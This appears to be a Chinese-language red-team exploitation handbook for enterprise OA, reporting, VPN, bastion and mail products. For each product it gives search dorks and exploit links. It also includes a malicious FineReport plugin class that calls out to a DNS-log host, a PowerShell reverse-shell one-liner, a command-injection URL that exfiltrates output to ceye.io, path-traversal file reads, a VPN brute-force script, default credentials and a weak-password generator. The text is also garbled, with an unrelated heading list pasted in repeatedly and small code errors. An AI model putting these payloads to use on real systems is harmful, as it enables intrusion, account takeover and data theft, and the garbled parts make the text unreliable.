https://github.com/NS-Sp4ce/TongDaOA-Fake-User (https://github.com/NS-Sp4ce/TongDaOA-Fake-User)

8. 防护方法

1.及时更新补丁

2.使用waf拦截

致远 OA A8 htmlofficeservlet getshell 漏洞

1. 漏洞简介

致远 OA 在国内的用户也比较多, 2019年攻防演练暴出来 htmlofficeservlet getshell 漏洞

2. 影响组件

致远 OA

3. 漏洞指纹

/seeyon/htmlofficeservlet

/seeyon/index.jsp

seeyon

4. Fofa Dork

app="用友-致远OA"

5. 漏洞分析

致远 OA A8 htmlofficeservlet getshell (POC&EXP) – Reber's Blog

http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/ (http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/)

6. 漏洞利用

timwhitez/seeyon-OA-A8-GetShell: 致远OA A8 某些版本批量getshell漏洞/seeyon OA A8 some version getshell from url list

https://github.com/timwhitez/seeyon-OA-A8-GetShell (https://github.com/timwhitez/seeyon-OA-A8-GetShell)

致远 OA A8 htmlofficeservlet getshell (POC&EXP) – Reber's Blog

http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/ (http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/)

这里还有个XXE

致远OA帆软报表组件前台XXE漏洞(0day)挖掘过程 LandGrey's Blog

https://landgrey.me/blog/8/ (https://landgrey.me/blog/8/)

7. 利用技巧

1.这个漏洞也挺有意思的, 这个接口是一个金格iweboffice用来处理文件的, 属于一个第三方接口暴露导致的安全问题

这个漏洞网传的脚本都是一个文件名test123456.jsp, 很容易被人锤啊

这里贴一个小脚本可以加解密文件名属性之类的, 算法也很简单, 漏洞通告的当天就写出来了, 就是一个换了码表的base64

```
from sys import argv

letters = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI+JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"

def base64_encode(input_str):
    str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
                      for i in input_str]
    output_str = ''
    equal_num = 0
    while str_ascii_list:
        temp_list = str_ascii_list[:3]
        if len(temp_list) != 3:
            while len(temp_list) < 3:
                equal_num += 1
                temp_list += ['0' * 8]
        temp_str = ''.join(temp_list)
        temp_str_list = [temp_str[x:x + 6] for x in [0, 6, 12, 18]]
        temp_str_list = [int(x, 2) for x in temp_str_list]
        if equal_num:
            temp_str_list = temp_str_list[0:4 - equal_num]
        output_str += ''.join([letters[x] for x in temp_str_list])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '=' * equal_num
    return output_str


def base64_decode(input_str):
    str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
                      for i in input_str if i != '=']
    output_str = ''
    equal_num = input_str.count('=')
    while str_ascii_list:
        temp_list = str_ascii_list[:4]
        temp_str = ''.join(temp_list)
        if len(temp_str) % 8 != 0:
            temp_str = temp_str[0:-1 * equal_num * 2]
        temp_str_list = [temp_str[x:x + 8] for x in [0, 8, 16]]
        temp_str_list = [int(x, 2) for x in temp_str_list if x]
        output_str += ''.join([chr(x) for x in temp_str_list])
        str_ascii_list = str_ascii_list[4:]
    return output_str


if __name__ == "__main__":
    if len(argv) == 2:
        print(base64_decode(argv[1]))
    elif len(argv) == 3:
        if argv[1] == '-d':
            print(base64_decode(argv[2]))
        else:
            print(base64_encode(argv[2]))
    else:
        print("Seeyon OA /seeyon/htmlofficeservlet param encode/decode")
        print("Usage:")
        print("python %s encoded_str" % argv[0])t
        print("python %s -d encoded_str" % argv[0])
        print("python %s -e raw_str" % argv[0])
```

8. 防护方法

1.及时更新补丁

2.使用waf拦截

[致远OA] 帆软报表 seeyonreport 远程代码执行

1. 漏洞简介

帆软报表 (seeyonreport) 很多时候会跟合致远OA一起出现，通常用户还不知道，所以这里有几个漏洞点

第一节

2. 影响组件

帆软报表 seeyonreport

3. 漏洞指纹

https://seeyoon.com/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1560911828892

seeyonreport

4. Fofa Dork

app="用友-致远OA"

5. 漏洞分析

帆软报表v8.0 Getshell漏洞分析 | ADog's Blog
http://foreversong.cn/archives/1378 (http://foreversong.cn/archives/1378)

6. 漏洞利用

帆软报表v8.0 Getshell漏洞分析 | ADog's Blog
http://foreversong.cn/archives/1378 (http://foreversong.cn/archives/1378)

xray/finereport-directory-traversal.yml at master · chaitin/xray
https://github.com/chaitin/xray/blob/master/pocs/finereport-directory-traversal.yml (https://github.com/chaitin/xray/blob/master/pocs/finereport-directory-traversal.yml)

7. 利用技巧

1.未设置密码或者读取读取管理员密码
https://seeyoon.com/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1560911828892 (https://seeyoon.com/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1560911828892)

这里很有可能是没有设置密码的，修改密码进入后台就可以了

如果设置里密码，尝试这个接口 /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml，读取管理员密码，然后使用上文的解密程序解密

2.后台getshell
这种后台能装插件的都随便getshell

先去下载一个指定版本的jar包

本地测试环境是9.0

下载com.fr.plugin.external-1.3.4.zip
https://shop.finereport.com/plugin/2d36b210-2a59-4940-8c4f-f3f16d58cd66 (https://shop.finereport.com/plugin/2d36b210-2a59-4940-8c4f-f3f16d58cd66)

http://shopps.finereport.com/com.fr.plugin.external-1.3.4.zip?e=1561433162&token=GYG9vMioxqbEgx-5HoAMAeID0zGdUrXT4UZ3w-d1:N-PelkhKkjCY7LHdqelnSvp_LmA= (http://shopps.finereport.com/com.fr.plugin.external-1.3.4.zip?e=1561433162&token=GYG9vMioxqbEgx-5HoAMAeID0zGdUrXT4UZ3w-d1:N-PelkhKkjCY7LHdqelnSvp_LmA=)

编译一个恶意的class打包进去

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

```
package com.fr.plugin.external.locale;

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;

public class LocaleFinder {
    public LocaleFinder() throws IOException, InterruptedException {
        String[] commands;
 if(System.getProperty("os.name").toLowerCase().contains("win")) {
            commands = new String[]{"C:\\Windows\\System32\\cmd", "/c", "ping -nc 3 %username%.win.seeyonreport.ceyedoamin.ceye.io"};
 }
        else {
            commands = new String[]{"/bin/sh", "-c", "curl `whoami`.linux.seeyonreport.ceyedoamin.ceye.io"};
 }
        Runtime rt = Runtime.getRuntime();
 Process pc = rt.exec(commands);
 pc.waitFor();
 }

    public static void main(String[] argv) throws IOException, InterruptedException {
        LocaleFinder e = new LocaleFinder();
 }
}
```


复制LocaleFinder.class到

\com.fr.plugin.external-1.3.4.zip\fr-plugin-external-1.3.4\fr-plugin-external-1.3.4.jar\com\fr\plugin\external\locale\

进入到插件管理界面, 上传符合规范的jar包插件即可

没生效就访问一下 https://xxxx/seeyonreport/ReportServer?op=im

一般后台都是win, 可以直接使用powershell进行反弹shell

powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c vps_ip -p 6666 -e cmd

8. 防护方法

1.及时更新补丁

2.使用waf拦截

Smartbi 前台SQL注入

1. 漏洞简介

Smartbi /vision/RMIServlet 接口存在SQL注入, 无需身份认证的攻击者可利用该漏洞查看数据库中的敏感信息或删除任意用户.

2. 影响组件

Smartbi

3. 漏洞指纹

SmartBi

4. Fofa Dork

app="Smartbi"

5. 漏洞分析

Smartbi软件SQL注入漏洞安全修复通报（厂商已修复）

https://mp.weixin.qq.com/s/iWTq4-74gz6nCd0G4blmTQ (https://mp.weixin.qq.com/s/iWTq4-74gz6nCd0G4blmTQ)

漏洞文件

vision/userListManager.jsp

```
function doDel(){
  var ids = [];
  //全选
  if($("#checkAll").checked){
    if(curRows){
      curRows.forEach(function(val, index){
        ids.push(val.id);
      });
    }
  }else{
    if(curRows){
      $("[name='checkTr']").each(function(){
        if(this.checked){
          ids.push(this.id);
        }
      });
    }
  }
  if(ids && ids.length > 0){
    if(!canOpt()){
      alert("<%=StringUtil.getLanguageValue("Youdonothavepermissiontodoso")%>");
      return;
    }
    var msg = "<%=StringUtil.getLanguageValue("Suredelete?")%>";
    var flags = modalWindow.MB_YESNO | modalWindow.MB_ICONQUESTION;
    alert(msg, "<%=StringUtil.getLanguageValue("Removetips")%>", flags, function(ret) {
      if (ret == modalWindow.ID_YES) {
        var ret = jsloader.resolve("freequery.common.util").remoteInvokeEx2("BIConfigService", "delUsers", [ids]);
        if(ret && ret.result == 1){
          alert("<%=StringUtil.getLanguageValue("Deletedsuccessfully")%>");
          refresh();
        }
      }
    }, this);
  }else{
    alert("<%=StringUtil.getLanguageValue("Noselectedobjectyouwanttodelete")%>");
  }
}
```

smartbi/WEB-INF/lib/smartbi-BIConfig.jar!/smartbi/config/BIConfigService.class

```
public int delUsers(List<String> ids) {
    boolean succ = true;
    String idStr = "";
    if (ids != null && ids.size() > 0) {
        for(int i = 0; i < ids.size(); ++i) {
            if (i == 0) {
                idStr = "('" + (String)ids.get(i) + "'";
            } else {
                idStr = idStr + ", '" + (String)ids.get(i) + "'";
            }
        }

        idStr = idStr + ")";
        Connection conn = null;
        PreparedStatement prep = null;
        Object rs = null;

        try {
            conn = DbUtil.getRepoConnection();
            conn.setAutoCommit(false);
            String sqlUser = "delete from t_user where c_userid in " + idStr;
            String sqlUserAttr = "delete from t_userattr where c_userid in " + idStr;
            String sqlUserconfig = "delete from t_userconfig where c_userid in " + idStr;
            String sqlUserRole = "delete from t_user_role where c_userid in " + idStr;
            String sqlUserGroup = "delete from t_group_user where c_userid in " + idStr;
            prep = conn.prepareStatement(sqlUser);
            prep.execute();
            prep = conn.prepareStatement(sqlUserAttr);
            prep.execute();
            prep = conn.prepareStatement(sqlUserconfig);
            prep.execute();
            prep = conn.prepareStatement(sqlUserRole);
            prep.execute();
            prep = conn.prepareStatement(sqlUserGroup);
            prep.execute();
            conn.commit();
        } catch (Exception var17) {
            try {
                succ = false;
                conn.rollback();
            } catch (SQLException var16) {
                throw new SmartbiException(ConfigErrorCode.DELETE_FAILED, var17);
            }

            throw new SmartbiException(ConfigErrorCode.DELETE_FAILED, var17);
        } finally {
            DbUtil.closeDBObject((ResultSet)rs, prep, conn);
        }

        return succ ? 1 : 0;
    } else {
        return 1;
    }
}
```

第一节
Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)
Apache Shiro Padding Oracle Attack (Shiro-721)
Apache Shiro 权限绕过漏洞 (Shiro-682)
Fastjson 反序列化远程代码执行漏洞
Jackson 反序列化远程代码执行漏洞
Xstream 反序列化漏洞
泛微OA Bsh 远程代码执行漏洞
泛微OA e-cology SQL注入漏洞
泛微OA 数据库泄露漏洞

6. 漏洞利用

这里是delete 注入, 不建议使用, 没看到有公开的利用信息, 就不写EXP了

7. 利用技巧

1.RMIServlet加解密代码

虽然利用不能写EXP, 这里写一个RMIServlet 的加解密代码

```
ENCODING_SCHEDULE = {
    "0": "7", "1": "1", "2": "u", "3": "N", "4": "K", "5": "J", "6": "M", "7": "9", "8": "", "9": "m", "!": "P",
    "%": "7", "n": "1", "(": "A", ")": "E", "*": "s", "+": "+", "-": "-", ".": "q", "/": "O", "A": "B", "B": "V", "C": "t",
    "D": "T", "E": "a", "F": "x", "G": "H", "H": "r", "I": "c", "J": "v", "K": "I", "L": "8", "M": "F", "N": "3",
    "O": "o", "P": "L", "Q": "Y", "R": "j", "S": "W", "T": "*", "U": "z", "V": "Z", "W": "!", "X": "B", "Y": ")",
    "Z": "U", "a": "(", "b": "~", "c": "i", "d": "h", "e": "p", "f": "_", "g": "-", "h": "I", "i": "R", "j": ".",
    "k": "G", "l": "S", "m": "d", "n": "6", "o": "w", "p": "5", "q": "0", "r": "4", "s": "D", "t": "k", "u": "Q",
    "v": "g", "w": "b", "x": "C", "y": "2", "z": "X", "~": "e", "_": "y",
}

DECODING_SCHEDULE = {
    "7": "0", "1": "1", "u": "2", "N": "3", "K": "4", "J": "5", "M": "6", "9": "7", "": "8", "m": "9", "P": "!",
    "/": "%", "n": "", "A": "(", "E": ")", "s": "*", "+": "+", "-": "-", "q": ".", "O": "/", "B": "A", "V": "B", "t": "C",
    "T": "D", "a": "E", "x": "F", "H": "G", "r": "H", "c": "I", "v": "J", "I": "K", "8": "L", "F": "M", "3": "N",
    "o": "O", "L": "P", "Y": "Q", "j": "R", "W": "S", "*": "T", "z": "U", "Z": "V", "!": "W", "B": "X", ")": "Y",
    "U": "Z", "(": "a", "~": "b", "i": "c", "h": "d", "p": "e", "_": "f", "-": "g", "I": "h", "R": "i", ".": "j",
    "G": "k", "S": "l", "d": "m", "6": "n", "w": "o", "5": "p", "0": "q", "4": "r", "D": "s", "k": "t", "Q": "u",
    "g": "v", "b": "w", "C": "x", "2": "y", "X": "z", "e": "~", "y": "_",
}

#此函数可以用来加密明文也可以解密服务器返回的密文
def encode(code):
    out = ""
    for item in code:
        out = out + ENCODING_SCHEDULE.get(item, item)
    return out

def decode(code):
    out = ""
    for item in code:
        out = out + DECODING_SCHEDULE.get(item, item)
    return out
```

2.该系统还有几处漏洞, 比如默认口令

```
demo/demo

manager/demo

admin/admin

admin/manager

admin/2manager
```

3.默认路径

http://127.0.0.1:18080/smartbi/vision/config.jsp 可能未修改密码或者密码为manager

4.进入后台目录遍历

http://127.0.0.1:18080/smartbi/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=C%3A%2F

同样是后台可以加载插件, 怎么getshell不用我多说了吧

8. 防护方法

1.及时更新补丁

2.使用强口令

3.版本最好为最新版8.5以上, v7还有其他漏洞

第二节

> 本节主要是针对网络边界产品, VPN, 防火墙, 邮箱一类的相关漏洞, 属于典型灯下黑的情况, 厂商可能会忘记, 但是攻击者不会放过一丝一毫

深信服VPN远程代码执行

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

1. 漏洞简介

深信服 VPN 某个特定产品存在远程代码执行，2019 攻防演练使用过

2. 影响组件

深信服 VPN

3. 漏洞指纹

Set-Cookie: TWFID=

welcome to ssl vpn

Sinfor

4. Fofa Dork

header="Set-Cookie: TWFID="

5. 漏洞分析

深信服vpnweb登录逆向学习 – potatso – 博客园

https://www.cnblogs.com/potatsoSec/p/12326356.html (https://www.cnblogs.com/potatsoSec/p/12326356.html)

6. 漏洞利用

wget -t %d -T %d --spider %s

```
https:/123.123.123.123/por/checkurl.csp?timeout=3&retry=0&url=http://admin.ceye.io/`uname`
```

7. 利用技巧

1.该版本深信服VPN属于相对早期的版本, 大概2008年左右, 但目前还有761个ip开放在公网

2.该版本较低, whomai不存在, 可以使用 uname, 这里没有空格可dns传出来

3.去除空格也简单 cat /etc/passwd | tr " \n" "+|"

8. 防护方法

1.及时更新补丁

2.升级到最新版

深信服 VPN 口令爆破

1. 漏洞简介

深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行

2. 影响组件

深信服 VPN

3. 漏洞指纹

/por/login_auth.csp?apiversion=1

sangfor

/cgi-bin/login.cgi?rnd=

4. Fofa Dork

app="深信服-SSL-VPN"

5. 漏洞分析

关于SSL VPN认证时的验证码绕过 – SSL VPN/EMM – 深信服社区

https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633 (https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633)

此处存疑, 时间问题没有测试

6. 漏洞利用

1.深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多)

```
#encoding=utf8
import requests
import hashlib
import urllib3
urllib3.disable_warnings()
import re
session = requests.session()
def SanForLogin(target, password, username="admin"):
    burp0_url = target +"/cgi-bin/login.cgi?rnd="
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
    r1 = session.get(burp0_url, verify=False)
    sid = r1.cookies["sinfor_session_id"]
    Epassword = hashlib.sha1(password+sid).hexdigest()
    burp0_data = {"user": username, "password": Epassword, "logintime": "2", "program": "3", "language": "zh_CN"}
    r2 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
    r2.encoding="UTF-8"
    if r2.status_code==200 and "<TITLE>Loading...</TITLE>" in r2.text:
        print("Success! admin password is ", password)
        print(r2.cookies["sinfor_session_id"])
        return password
    else:
        for x in re.findall("var loginInfo = \".*?\"", r2.text):
            print(x)
            if "IP" in x:
                print("IP lock wait for 5 mins")
                time.sleep(305)


SanForLogin("https://xxxxxxxxxxx/", "admin")
```

7. 利用技巧

1.由于深信服涉及的版本跨度时间达十几年, 很多地方不一样, 但是总体都差不太多

国外APT组织应该也批量爆破了一波

加密的密码也就是 sha1(password+sid)

爆破也就锁一会ip, 夜里丢一边跑着就完事了, 弱口令也就那么些

admin/123456/Sangfor/Sangfor@123

2.如果爆破出来了管理员密码, 管理员后台有好多处命令注入, 比如升级工具, 这里讲起来应该是正常功能

3.去年传闻还有前台sql注入, 但是没拿到补丁, 手头没环境, 就没分析, 看一下乌云上的老洞吧

深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell – 体验盒子 – 关注网络安全
https://www.uedbox.com/post/31092/ (https://www.uedbox.com/post/31092/)

8. 防护方法

1.及时更新补丁

2.升级到最新版

Fortigate SSL VPN 文件读取/远程代码执行

1. 漏洞简介

Fortigate SSL VPN 在全球用户量巨大, 去年橘子哥发现了文件读取和远程代码执行漏洞

2. 影响组件

Fortigate SSL VPN

3. 漏洞指纹

Fortigate

4tinet2095866

4. Fofa Dork

"Fortigate" && port=10443

5. 漏洞分析

Orange: Attacking SSL VPN – Part 2: Breaking the Fortigate SSL VPN
https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1 (https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1)

6. 漏洞利用

密码读取

milo2012/CVE-2018-13379: CVE-2018-13379
https://github.com/milo2012/CVE-2018-13379 (https://github.com/milo2012/CVE-2018-13379)

任意密码重置, 这肯定是个后门

milo2012/CVE-2018-13382: CVE-2018-13382
https://github.com/milo2012/CVE-2018-13382 (https://github.com/milo2012/CVE-2018-13382)

7. 利用技巧

1.文件读取的路径构造

https://xxxxxx:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

如下padding可以构造出来任意文件读取, 可以读取其他文件, 注意这个系统好像没有/etc/passwd

```
print("/../../../../"+(raw_input().rjust(35, '/')))
```

2.寻找魔术数字

虽然当时橘子哥没有公开魔术数字, 但是当时随手分析了一下下面这个启动文件, 搜索一下magic就找到 4tinet2095866,

https://xxxxxxxx:10443/remote/fgt_lang?lang=/../../../..//////////////////////////bin/sslvpnd

后来发现这个字符串在js里面也有, 直接从前台分析也可以获得

https://xxxxx:10443/sslvpn/js/login.js?q=5f9a6877fd1f78da768239aae6e739c2

8. 防护方法

1.及时更新补丁

2.升级到最新版

Pulse Secure SSL VPN远程代码执行漏洞

1. 漏洞简介

Pulse Secure SSL VPN 在全球用户量巨大, 去年橘子哥发现了很多漏洞

2. 影响组件

Pulse Secure SSL VPN

3. 漏洞指纹

Pulse Secure SSL VPN

4. Fofa Dork

app="PulseSecure-SSL-VPN"

5. 漏洞分析

Pulse Secure SSL VPN远程代码执行漏洞利用与分析 – 安全客, 安全资讯平台

https://www.anquanke.com/post/id/185773 (https://www.anquanke.com/post/id/185773)

6. 漏洞利用

projectzeroindia/CVE-2019-11510: Exploit for Arbitrary File Read in Pulse Secure SSL VPN (CVE-2019-11510)

https://github.com/projectzeroindia/CVE-2019-11510 (https://github.com/projectzeroindia/CVE-2019-11510)

0xDezzy/CVE-2019-11539: Exploit for the Post-Auth RCE vulnerability in Pulse Secure Connect

https://github.com/0xDezzy/CVE-2019-11539 (https://github.com/0xDezzy/CVE-2019-11539)

7. 利用技巧

8. 防护方法

1.及时更新补丁

2.升级到最新版

第一节
Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)
Apache Shiro Padding Oracle Attack (Shiro-721)
Apache Shiro 权限绕过漏洞 (Shiro-682)
Fastjson 反序列化远程代码执行漏洞
Jackson 反序列化远程代码执行漏洞
Xstream 反序列化漏洞
泛微OA Bsh 远程代码执行漏洞
泛微OA e-cology SQL注入漏洞
泛微OA 数据库泄露漏洞

Palo Alto GlobalProtect VPN远程代码执行漏洞

1. 漏洞简介

Palo Alto GlobalProtect 在全球用户量巨大, 去年橘子哥发现了很多漏洞

2. 影响组件

Palo Alto GlobalProtect

3. 漏洞指纹

GlobalProtect Portal

4. Fofa Dork

app="PaloAlto-GlobalProtect"

5. 漏洞分析

Orange: Attacking SSL VPN – Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html (https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html)

Palo Alto GlobalProtect上的PreAuth RCE – 渗透测试中心 – 博客园

https://www.cnblogs.com/backlion/p/11209054.html (https://www.cnblogs.com/backlion/p/11209054.html)

6. 漏洞利用

securifera/CVE-2019-1579

https://github.com/securifera/CVE-2019-1579 (https://github.com/securifera/CVE-2019-1579)

7. 利用技巧

1.这个扫描的话可以判断

/global-protect/portal/css/login.css

/images/logo_pan_158.gif

Last-Modified 是否早于于2018年

curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified

Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

8. 防护方法

1.及时更新补丁

2.升级到最新版

Citrix Gateway/ADC 远程代码执行漏洞 (CVE-2019-19781)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

1. 漏洞简介

Citrix Gateway/ADC 在全球拥有很多的大客户，这也是个很经典的任意文件读取漏洞(后门)

2. 影响组件

Citrix Gateway/ADC

3. 漏洞指纹

Citrix Gateway/ADC

4. Fofa Dork

app="Citrix-Netscaler"

5. 漏洞分析

Citrix Gateway/ADC 远程代码执行漏洞分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/news/232752.html (https://www.freebuf.com/news/232752.html)

6. 漏洞利用

trustedsec/cve-2019-19781: This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing th e exploit code first.
https://github.com/trustedsec/cve-2019-19781 (https://github.com/trustedsec/cve-2019-19781)

7. 利用技巧

1.通过以下命令可以快速断定

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure

这里部分版本不需要进行../跳转也可以, 具体原因没有分析

8. 防护方法

1.及时更新补丁

2.升级到最新版

3.暂时屏蔽未授权用户对/vpns/路径的访问

齐治堡垒机相关漏洞

1. 漏洞简介

齐治堡垒机是国内使用比较多的堡垒机产品, 后端使用PHP编写

2. 影响组件

齐治堡垒机

3. 漏洞指纹

shterm

4. Fofa Dork

app="shterm-堡垒机"

5. 漏洞分析

审计某系统从解密到GetShell – 云+社区 – 腾讯云
https://cloud.tencent.com/developer/article/1448700 (https://cloud.tencent.com/developer/article/1448700)

齐治堡垒机远程命令执行漏洞（CNVD-2019-20835）分析 – 开发笔记
http://kfbiji.com/article/65b98114903248eb (http://kfbiji.com/article/65b98114903248eb)

6. 漏洞利用

齐治堡垒机远程命令执行漏洞（CNVD-2019-20835）分析 – 开发笔记

http://kfbiji.com/article/65b98114903248eb (http://kfbiji.com/article/65b98114903248eb)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastison 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

7. 利用技巧

1.齐治堡垒机默认口令:**shterm/shterm**

2.普通用户获取堡垒机权限, 登录之后可尝试命令注入

如果有类似chrome的应用可以直接使用**ctrl+o**打开窗口, 然后新建bat, 起一个cmd或者其他的程序

8. 防护方法

1.及时更新补丁

2.升级到最新版

3.做好权限控制

Exchange 相关漏洞

1. 漏洞简介

Exchange 是企业用量很大的邮件服务器, 包括一个登录后用户伪造(CVE-2018-8581, 利用难度高)和登录后反序列化漏洞(CVE-2020-0688, 利用难度低)

2. 影响组件

Exchange

3. 漏洞指纹

Exchange

outlook

4. Fofa Dork

app="Microsoft-Exchange"

5. 漏洞分析

微软Exchange爆出0day漏洞, 来看POC和技术细节 – FreeBuf互联网安全新媒体平台

https://www.freebuf.com/vuls/195162.html (https://www.freebuf.com/vuls/195162.html)

Microsoft Exchange 任意用户伪造漏洞（CVE-2018-8581）分析

https://paper.seebug.org/804/ (https://paper.seebug.org/804/)

微软Exchange服务器远程代码执行漏洞复现分析[CVE-2020-0688] – 先知社区

https://xz.aliyun.com/t/7299 (https://xz.aliyun.com/t/7299)

6. 漏洞利用

Ridter/Exchange2domain: CVE-2018-8581

https://github.com/Ridter/Exchange2domain (https://github.com/Ridter/Exchange2domain)

Ridter/cve-2020-0688: cve-2020-0688

https://github.com/Ridter/cve-2020-0688 (https://github.com/Ridter/cve-2020-0688)

pwntester/ysoserial.net: Deserialization payload generator for a variety of .NET formatters

https://github.com/pwntester/ysoserial.net (https://github.com/pwntester/ysoserial.net)

7. 利用技巧

1.寻找企业的Exchange有个技巧

除了访问以下域名或者直接查找 **DNS MX** 记录

```
mail.domain.com
mail1.domain.com
mail-hk.domain.com
owa.domain.com
exchange.domain.com
email.domain.com
outlook.domain.com
```

还有个很好用的域名，这是outlook的自动发现域名

```
autodiscover.domain.com
```

2.爆破Exchange

这里两个漏洞都需要登录，其实这个的弱口令不是很难找，经常会成为企业的突破口

通常这里的密码能横穿内网，比如 VPN, OA, SSO

Exchange通常有以下几个接口

/owa 前台web登录，一般可以爆破

/ews 这里是ews的接口，可以进行401认证爆破，只需要(域)账号和密码，不需要知道域名前缀，更方便爆破

/autodiscover/autodiscover.xml 自动发现接口，同ews爆破

3.爆破工具可使用 owa用burp，ews用ruler，awvs(比较好用)

sensepost/ruler: A tool to abuse Exchange services
https://github.com/sensepost/ruler (https://github.com/sensepost/ruler)

4.弱口令爆破技巧，爆破Exchange相对比较好用，直接生成企业特色弱口令

```
import itertools
prefix = ['baidu', 'Baidu']
for x in [''.join(x) for x in list(itertools.product(prefix, ['@', ''], ['2019', '2020', '2018', '123', '1234', '123456'], ['!', '', '.']))] : print(x)

baidu@2019!
baidu@2019
baidu@2019.
baidu@2020!
baidu@2020
.....
Baidu123456
Baidu123456.
```

8. 防护方法

1.及时更新补丁

2.升级到最新版

3.做好权限控制

Coremail 相关漏洞

1. 漏洞简介

Coremail 是国内使用量很大的邮件服务商，包括网易邮箱的后端使用的也是coremail

2. 影响组件

Coremail

3. 漏洞指纹

Coremail

4. Fofa Dork

app="Coremail"

5. 漏洞分析

Coremail-0day敏感文件泄露漏洞送附批量检测脚本_数据库_god_Zeo的博客-CSDN博客

https://blog.csdn.net/god_zzZ/article/details/92735189 (https://blog.csdn.net/god_zzZ/article/details/92735189)

6. 漏洞利用

yuxiaoyou123/coremail-exp

https://github.com/yuxiaoyou123/coremail-exp (https://github.com/yuxiaoyou123/coremail-exp)

dpu/coremail-address-book: Coremail邮件系统组织通讯录导出脚本

https://github.com/dpu/coremail-address-book (https://github.com/dpu/coremail-address-book)

7. 利用技巧

1.这个找不到源码, 没法分析

里面的密码也多半没啥用, 还不如邮件里搜索一下vpn/密码

2.这个东西有几率受到ImageMagick影响(此处存疑, 我只在dnslog见过, 没有实锤)

8. 防护方法

1.及时更新补丁

2.升级到最新版

Winmail 相关漏洞

1. 漏洞简介

Winmail 是国内使用量较大的邮件服务商, 由于版本老旧, 有一些历史漏洞, 注入, 任意文件下载, 上传

2. 影响组件

Winmail

3. 漏洞指纹

Winmail

4. Fofa Dork

app="Winmail-Server"

5. 漏洞分析

Winmail最新直达webshell 0day漏洞挖掘实录_91Ri.org

http://www.91ri.org/16519.html (http://www.91ri.org/16519.html)

winmail过滤不严getshell+任意文件下载(需要登录邮箱）_黑客技术

http://www.hackdig.com/06/hack-36899.htm (http://www.hackdig.com/06/hack-36899.htm)

Winmail普通用户可直接进入后台取得域名管理、用户管理等所有权限 | WooYun-2014-57890 | WooYun.org

https://php.mengsec.com/bugs/wooyun-2014-057890.html (https://php.mengsec.com/bugs/wooyun-2014-057890.html)

6. 漏洞利用

Winmail最新直达webshell 0day漏洞挖掘实录_91Ri.org

http://www.91ri.org/16519.html (http://www.91ri.org/16519.html)

